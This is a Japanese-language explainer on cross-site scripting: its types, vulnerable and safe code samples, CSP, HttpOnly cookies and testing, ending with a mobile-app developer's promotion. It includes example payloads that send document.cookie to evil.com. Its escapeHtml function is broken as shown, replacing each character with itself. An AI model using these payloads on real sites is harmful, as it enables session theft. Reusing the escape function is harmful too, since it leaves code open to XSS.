XSS(Cross-Site Scripting)は、攻撃者が他のユーザーに表示されるコンテンツに悪意のあるJavaScriptコードを注入する、Webアプリケーションの脆弱性の一種です。OWASP Top Ten(2025)によると、XSSは依然として最も一般的な脆弱性の1つであり、60%以上のWebアプリケーションに影響を与えています。クロスサイトスクリプティングにより、セッションCookieの盗難、ユーザーをフィッシングサイトにリダイレクト、ページコンテンツのリアルタイム改ざんが可能になります。
重要なポイント
XSS(Cross-Site Scripting)は、攻撃者がWebページにJavaScriptコードを注入することを可能にする脆弱性であり、その後被害者のブラウザで実行されます。ブラウザは信頼できるWebサイトからページを読み込み、注入されたスクリプトをサイトの正当なコードと同じ権限で実行します。これにより、攻撃者はCookie、セッションストレージ、ページのDOMツリーにアクセスし、被害者に代わってリクエストを送信できるようになります。XSS脆弱性は、アプリケーションが適切なエスケープや検証なしにユーザーデータをHTMLページに挿入するときに発生します。
クロスサイトスクリプティングという用語は、2000年にMicrosoftセキュリティ情報で初めて登場しました。過去25年間、XSSはその関連性を失っていません。HackerOne(2025)によると、XSSはプラットフォームに登録された全脆弱性の約22%を占めています。XSSが根絶できない理由は、ユーザーデータのすべてのエントリポイントを制御することの難しさにあります。入力フィールド、URLパラメーター、HTTPリクエストヘッダー、ファイル名など、データが処理されずにHTMLコードに反映される場合、それらすべてが攻撃ベクターになり得ます。
XSS攻撃はセッションCookieの盗難につながり、攻撃者はパスワードなしで被害者のアカウントにログインできるようになります。その他の結果には、フィッシングサイトへのリダイレクト、ページコンテンツの改ざん、個人データの盗難、マルウェアのインストール(ドライブバイダウンロード)が含まれます。2023年には、Salesforce Community CloudプラットフォームへのXSS攻撃により数千のエンタープライズ顧客のデータが影響を受け、大規模プラットフォームでもこの脆弱性に対して免疫がないことが示されました。
XSS分類では、悪意のあるコードの配信方法に基づいて攻撃を3つの主要タイプに分類します。各タイプには異なる保護アプローチが必要です。Stored XSSはデータベースからの出力エスケープ、ReflectedはURLパラメーターのエスケープ、DOM-basedはDOM APIを安全に扱うことで防止されます。違いを理解することは、効果的なセキュリティ戦略の基礎です。
| タイプ | スクリプトの保存場所 | 配信ベクター | 検出の難易度 |
|---|---|---|---|
| Stored XSS | サーバーデータベース | コメント、プロフィール、メッセージ | 中 |
| Reflected XSS | URLパラメーター | フィッシングリンク、メール | 高 |
| DOM-based XSS | クライアント側JavaScript | URLフラグメント、postMessage | 非常に高 |
最も危険なXSSタイプです。攻撃者は、サーバーがデータベースに保存し、ページが読み込まれるたびに表示するデータにスクリプトを注入します。典型的なベクターはコメントフィールドです。攻撃者は<script>document.location='https://evil.com/?c='+document.cookie</script>を含むコメントを投稿します。このコメントがあるページを読み込むすべてのユーザーが、自分のCookieを攻撃者に送信します。Stored XSSは、被害者がページにアクセスする以外の操作を必要としません。そのため、ソーシャルネットワーク、フォーラム、ブログにとって特に危険です。
悪意のあるスクリプトはHTTPリクエスト(通常はURLパラメーター)で渡され、サーバーが応答ですぐに反映します。攻撃者はhttps://example.com/search?q=<script>...</script>のようなリンクを作成し、フィッシング、ソーシャルネットワーク、メールを介して配布します。リンクをクリックした被害者は、入力した検索クエリ(スクリプト)がエスケープされずに表示されるページを受け取ります。Reflected XSSにはソーシャルエンジニアリングが必要です。被害者がリンクをクリックする必要があり、リスクは軽減されますが排除されません。
StoredやReflectedとは異なり、DOM-based XSSはサーバーにデータを送信する必要がありません。脆弱性は、クライアント側JavaScriptが安全な処理なしにURL、document.referrer、postMessage、localStorageからのユーザーデータをDOMに挿入するときに発生します。たとえば、document.getElementById('output').innerHTML = location.hash.substring(1)のようなコードは、URLフラグメント(#<img onerror='...'>)からの任意のHTMLとスクリプトを実行します。DOM-based XSSは最も検出が困難です。サーバーが悪意のあるペイロードを受け取ることがなく、完全にクライアント側で処理されるからです。
// DOM-based XSSの例(脆弱なコード)
// userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>" の場合
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — 危険:生のHTMLを挿入
document.write('<div>' + userInput + '</div>');
// 安全な代替 — textContentを使用
document.getElementById('output').textContent = userInput;
XSSはWebの基本的な特性を悪用します。ブラウザは信頼できるドメインから受信したJavaScriptを実行します。攻撃者がサーバーのHTMLレスポンスに自分のコードを注入する方法を見つけた場合、ブラウザはそれを正当なコードと同じ権限で実行します。攻撃は3つのフェーズを経ます。コンテンツへの悪意のあるコードの注入、被害者のブラウザへのコンテンツの配信、DOM、Cookie、ストレージへのアクセスを伴うコードの実行です。
攻撃者は、サーバーがエスケープせずにHTMLレスポンスに含める値を持つフィールド、URLパラメーター、またはヘッダーであるエントリポイントを見つけます。典型的なエントリポイントには、検索バー、コメントフィールド、ユーザー名、アバターURL、Cookie、HTTPヘッダー(User-Agent、Referer)が含まれます。最新のフレームワーク(React、Angular、Vue)は自動的に出力をエスケープしますが、開発者はdangerouslySetInnerHTML、bypassSecurityTrustHtml、v-htmlなどを使用してエスケープを無効にすることができます。
Reflected XSSの場合、攻撃者は悪意のあるリンクを配布します。Stored XSSの場合は、ターゲットサイトにコンテンツを公開するだけで、ページの訪問者全員が被害者になります。DOM-based XSSは、特定のURLフラグメントでページが読み込まれるとアクティブになります。3つのフェーズすべてが自動化される可能性があります。広告バナー(サードパーティコンテンツ)でXSSが発見された場合、バナーが削除されるまでサイトの全ユーザーに影響を及ぼします。
// 検索におけるReflected XSSの例(脆弱なバックエンド)
// パラメータqをエスケープする代わりに、サーバーがそれをHTMLに挿入
// Express.js — 脆弱なハンドラ:
app.get('/search', (req, res) => {
const query = req.query.q; // ユーザー入力
res.send(`<h1>Results for: ${query}</h1>`);
});
// 安全なバージョン — encodeURIまたはテンプレートエンジンによるエスケープ:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
モバイルアプリケーションもXSS攻撃の影響を受けやすく、ウェブサイトほどではありませんが、その程度は低くなります。主なベクターはWebViewとハイブリッドフレームワーク(Cordova、Capacitor、React Native with WebView)です。アプリがWebViewでWebコンテンツ(特にHTMLメール、記事、メッセージなどのユーザーコンテンツ)を読み込む場合、XSS脆弱性により、JavaScriptブリッジを介してネイティブ機能にアクセスできるアプリ内でのJavaScript実行につながる可能性があります。
Android WebViewはデフォルトでJavaScriptを実行します。アプリがloadDataWithBaseURL()を介してHTML文字列を読み込んだり、ユーザーコンテンツを表示したりする場合、XSS攻撃により攻撃者がJavaScriptインターフェース(addJavascriptInterface)にアクセスできる可能性があります。GoogleはAPI < 17での@JavascriptInterfaceの使用を禁止しましたが、古いアプリにはレガシーコードがまだ存在します。保護:不要な場合はWebViewでJavaScriptを無効にし、セーフブラウジングを使用します。
React NativeはUIにWebViewを使用せず、コンポーネントはネイティブビューでレンダリングされます。ただし、react-native-webviewやリッチテキストコンポーネントを介してHTMLを表示する場合、XSSリスクが戻ってきます。Flutterは独自のレンダリングエンジン(Skia)を使用し、HTMLウィジェットでのJavaScriptをサポートしていませんが(flutter_htmlはscriptタグを実行しません)、WebViewプラグイン(webview_flutter)はネイティブWebViewと同様に脆弱です。ベストプラクティス — 信頼できないHTMLをWebViewに渡さないでください。
// Androidでの安全なWebView設定
val webView = findViewById<WebView>(R.id.webview)
// インタラクティビティが不要な場合はJavaScriptを無効にする
webView.settings.javaScriptEnabled = false
// 読み込み前にHTMLをサニタイズする
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
XSSからの保護は、3つの原則に基づいています。ユーザー入力を信頼しない、出力前にエスケープする、Content Security Policyを使用する。出力エンコーディングは最も重要な方法です。ユーザーから受信したすべてのデータは、HTML、JavaScript、CSS、URLに挿入する前にエスケープする必要があります。最新のテンプレートエンジン(Twig、Handlebars、JSX、Blade)は、開発者が特別な方法でエスケープを無効にしない限り、自動的にこれを行います。
エスケープはデータ挿入のコンテキストによって異なります。HTMLコンテキストでは、<、>、&、引用符がエスケープされます。JavaScriptコンテキストでは、バッククォート、
、</script>がエスケープされます。CSSコンテキストでは制御文字が、URLコンテキストではURLエンコーディングが使用されます。コンテキストエラー(たとえば、HTMLエスケープされた文字列をonclick属性に挿入すること)は、onclickがJavaScriptコンテキストで実行され、異なるエスケープが必要なため、XSSから保護しません。
CSPは、ブラウザがスクリプト、スタイル、その他のリソースをロードできるソースを制限するHTTPヘッダーです。厳格なCSP(unsafe-inlineなし、unsafe-evalなし)は、XSSベクターを含むインラインスクリプトの実行をブロックします。Google Security Blog(2025)によると、CSPを導入しているサイトはXSS攻撃の95%をブロックしています。例:Content-Security-Policy: default-src 'self'; script-src 'self'は外部スクリプトとインラインスクリプトを禁止します。CSPは、同じドメインからスクリプトが読み込まれる場合、Stored XSSから保護しませんが、これには攻撃者の追加の労力が必要です。
CookieにHttpOnlyフラグを設定すると、JavaScript(document.cookie)を介したアクセスが防止され、XSSを介したセッションCookieの盗難がブロックされます。Secureフラグは、CookieがHTTPS経由でのみ送信されることを保証します。HttpOnly + Secure + SameSite=Laxの組み合わせにより、XSSを介したセッションCookieの盗難は事実上不可能になります。ただし、XSSはユーザーに代わってアクション(リクエストの送信など)を実行できるため、HttpOnlyは万能薬ではなく、包括的な防御の一部です。
| 保護方法 | 保護するXSSタイプ | 効果 |
|---|---|---|
| 出力エスケープ | Stored、Reflected、DOM-based | 99% |
| CSP | インラインXSS、evalベース | 95% |
| HttpOnly Cookie | XSSによるセッション盗難 | 100%(読み取り不可) |
| 入力検証 | Stored、Reflected | 50%(タイプによる) |
| TRUSTED TYPES | DOM-based(innerHTML) | 90% |
定期的なXSSテストは、セキュアな開発CI/CDパイプラインの必須部分です。自動スキャナーはXSS脆弱性の最大80%を発見します。残りは手動のペネトレーションテストが必要です。最善のアプローチは、SAST(静的)分析、DAST(動的)スキャン、およびユーザーデータのエントリポイントに焦点を当てたコードレビューの組み合わせです。
モバイルアプリケーションの場合、XSSテストにはWebView分析が含まれます。JavaScriptインターフェースの確認、URLスキームの処理、loadDataWithBaseURLへのHTMLの受け渡しなどです。ハイブリッドアプリケーションでのpostMessage処理をテストし、JavaScriptブリッジを介して渡されるデータを確認することも推奨されます。エミュレーターとプロキシ(Burp Suite)を使用して、モバイルアプリのトラフィックをインターセプトおよび変更します。
よくある質問
Stored XSSは悪意のあるスクリプトをサーバー(データベース)に保存し、ページが読み込まれるたびにトリガーされます。Reflected XSSはURLパラメーターを介してスクリプトを渡し、攻撃は悪意のあるリンクをクリックした場合にのみトリガーされます。Storedの方が危険です。被害者の操作が不要で、感染したページを開くだけで十分だからです。
いいえ、HTTPSはXSSを防げません。HTTPSはブラウザとサーバー間のトラフィックを暗号化しますが、サーバー側のユーザー入力処理には影響しません。XSS脆弱性はアプリケーションレベルで存在し、トランスポートレベルではありません。HTTPSは必須のセキュリティ最小基準ですが、XSSに対する防御策ではありません。
ほとんどの場合、XSSはブラウザまたはWebViewのサンドボックス内で実行され、ファイルシステムやデバイスハードウェアにアクセスすることはできません。ただし、JavaScriptインターフェースが有効なAndroid WebViewでは、XSSスクリプトがネイティブアプリのメソッドを呼び出す可能性があります。iOSでは、適切なブリッジが設定されている場合、WKWebViewもJavaScriptCoreを介してデータを公開する可能性があります。
モバイルデバイスでプロキシを構成したBurp SuiteまたはOWASP ZAPを使用します。アプリケーションのリクエストをインターセプトし、パラメーターを変更してXSSペイロードを送信します。loadDataWithBaseURLを介したHTML処理とJavaScriptブリッジの有無についてWebViewを確認します。React Nativeの場合は、WebViewコンポーネントを個別にテストします。
DOM-based XSSは、ページ上のJavaScript自体がURLやその他のソースからデータを取得し、検証なしにHTMLに挿入する攻撃です。サーバーは関与せず、悪意のあるコードは完全にブラウザで処理されます。典型的な例:サイトがlocation.hashからテキストを取得し、innerHTMLを介して挿入することで、任意のHTMLコードの実行を可能にします。
まとめ
ターンキー方式のモバイルアプリケーションを開発します
IT Sectrは2017年からスタートアップや企業向けにiOS・Androidアプリケーションを開発しています。私たちがご相談に乗り、最適なソリューションをご提案します。